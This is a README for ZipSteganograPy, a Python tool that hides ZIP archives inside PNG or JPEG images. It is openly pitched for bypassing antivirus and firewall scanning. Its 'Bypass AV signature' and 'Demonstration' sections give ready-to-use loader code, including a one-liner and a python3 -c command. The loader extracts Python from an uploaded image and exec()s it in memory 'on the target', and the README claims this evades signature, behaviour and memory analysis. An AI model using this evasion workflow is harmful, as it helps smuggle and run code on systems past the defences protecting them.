ZipSteganograPy

Description

This tool hides a ZIP archive in an image.

This tool is useful for bypassing antivirus and firewall scanning.

Requirements

This package require:

• python3
• python3 Standard Library

Installation

pip install ZipSteganograPy

Usages

# Hide a ZIP archive in an image:
python3 ZipSteganograPy.py -z archive.zip -o stegano -i image.png
python3 ZipSteganograPy.pyz -z archive.zip -o stegano -i image.jpg

# Create a ZIP archive (with 3 text files) and hide it in an image:
python3 -m ZipSteganograPy -f file1.txt file2.txt file3.txt -i image.jpg
ZipSteganograPy -f file1.txt file2.txt file3.txt -i image.png

# Easily extract the hidden archive using python3 and its standard library:
python3 -m zipfile -l stegano.png            # list files
python3 -m zipfile -e stegano.jpg output/    # extract

# Easily extract the hidden archive using unzip package:
unzip stegano.jpg -l                         # list files
unzip stegano.jpg -d output/                 # extract

Bypass AV signature

This example load a python code from an image and execute it without writing it on the disk.

This method bypass:

• basic anti-virus analyze based on signatures of files written on the disk
• behavior module
• process memory analyze

from zipfile import ZipFile
with ZipFile("stegano.png", "r") as f:
    for filename in f.namelist():
        exec(f.read(filename).decode())

Demonstration

On your computer:

ZipSteganograPy -f hello.py -i ZipSteganograPy_small.png
# ZipSteganograPy  Copyright (C) 2022  Maurice Lambert
# This program comes with ABSOLUTELY NO WARRANTY.
# This is free software, and you are welcome to redistribute it
# under certain conditions.

# New image 'stegano.png' created from 'ZipSteganograPy_small.png' with hidden ZIP archive.

Upload the stegano.png file on the target (the zip file will probably not anlyze by firewalls because the file will be detected as a correct image).

On the target (unzip from image and execute your python code without writing it on the disk):

from zipfile import ZipFile
with ZipFile("stegano.png", "r") as f:
    for filename in f.namelist():
        exec(f.read(filename).decode())

import zipfile;f=zipfile.ZipFile("stegano.png", "r");[exec(f.read(filename).decode()) for filename in f.namelist()]

python3 -c 'import zipfile;f=zipfile.ZipFile("stegano.png", "r");[exec(f.read(filename).decode()) for filename in f.namelist()]'

Proof

Links

• Github Page
• Pypi package
• Documentation
• Python Executable

Licence

Licensed under the GPL, version 3.